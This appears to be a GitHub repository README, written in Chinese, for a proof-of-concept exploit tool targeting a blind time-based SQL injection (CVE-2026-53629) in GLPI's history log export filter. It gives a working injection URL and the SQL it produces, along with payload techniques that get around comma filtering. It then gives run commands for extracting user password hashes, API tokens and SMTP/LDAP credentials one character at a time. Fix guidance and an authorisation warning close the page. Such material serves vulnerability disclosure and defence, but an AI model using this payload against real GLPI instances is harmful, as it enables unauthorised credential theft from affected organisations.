5kr1pt/glpi-logbleed

GitHub: 5kr1pt/glpi-logbleed

针对 GLPI 历史日志过滤器中 CVE-2026-53629 盲注 SQLi 漏洞的概念验证与利用工具,通过时间盲注逐字符提取数据库中的敏感凭据。

Stars: 0 | Forks: 0

# glpi-logbleed glpi-logbleed running GLPI 历史日志过滤器中的盲注 SQLi(Blind SQL injection)。CVE-2026-53629,已在 11.0.8 和 10.0.26 版本中修复,自 9.4.0 版本起存在该漏洞。 需要具有 `logs` READ 权限的任意账号。默认的 Read-Only profile(只读配置文件)即包含此权限。 安全公告:[GHSA-cpcj-x335-5cmh](https://github.com/glpi-project/glpi/security/advisories/GHSA-cpcj-x335-5cmh) 详细分析:[我是如何发现它的](https://medium.com/p/f58f8aea68de) ## 漏洞详情 `Log::convertFiltersValuesToSqlCriteria()` 将 `affected_fields` 过滤器拆分为 `key:operator:values`(键:操作符:值)。针对 CVE-2026-29047 的补丁验证了操作符并强制转换了数组索引,却唯独漏掉了 `$key`。 `DBmysqlIterator::analyseCrit()` 不会将 `OR`、`AND` 和 `NOT` 作为列名进行引用。它会对它们的值进行递归处理,而该递归最终会进入一个已弃用的代码分支,该分支会将纯字符串直接作为原始 SQL 传递回去。 因此,以 `OR` 作为键,你可以将任意内容注入到 WHERE 子句中: ``` /front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5) ``` ``` SELECT * FROM `glpi_logs` WHERE `items_id` = '0' AND `itemtype` = 'Entity' AND (((((1 AND sleep(5)))))) ``` 历史记录选项卡也会通过 `filters[affected_fields][0]` 执行相同的操作。 ## Payload 限制 `explode(',', $values)` 会破坏任何包含逗号的内容,因此 `SUBSTRING(s,1,1)` 和 `IF(a,b,c)` 无法使用。可以使用 `CASE WHEN ... THEN ... ELSE ... END` 和 `MID(s FROM n FOR 1)` 来完成工作。使用十六进制字面量代替引号,例如 `0x676c7069` 代表 `glpi`。 该 Payload 会在 `glpi_logs` 的每一行中执行一次,因此延迟时间会成倍增加。6 行数据使用 `sleep(5)` 就是 30 秒。在实际实例中,请将其降至 0.1,否则请求将永远无法返回。 ## 运行方式 ``` pip install requests python3 glpi_sqli_extract.py http://glpi.lab.local -u readonly -p readonly ``` 通过二分查找,每次读取 `glpi_users.password` 中的一个字符。使用 `--id` 指定其他用户,针对响应较慢的目标可以使用 `--sleep` 和 `--threshold` 进行调整。 使用相同的技巧还可以读取 `api_token`、`personal_token` 以及 `glpi_configs` 中的 SMTP 和 LDAP 凭据。 ## 修复建议 升级版本。如果无法升级,请从不需要的 profile 中移除 `logs` READ 权限。上游已对 key 进行了白名单限制: ``` $allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link']; if (!in_array($key, $allowed_keys, true)) { continue; } ``` 本内容在修复补丁发布后才公开。请勿对非自身所有的目标运行此程序。
标签:CISA项目, PoC, Python, Web安全, 多线程, 无后门, 暴力破解, 蓝队分析, 逆向工具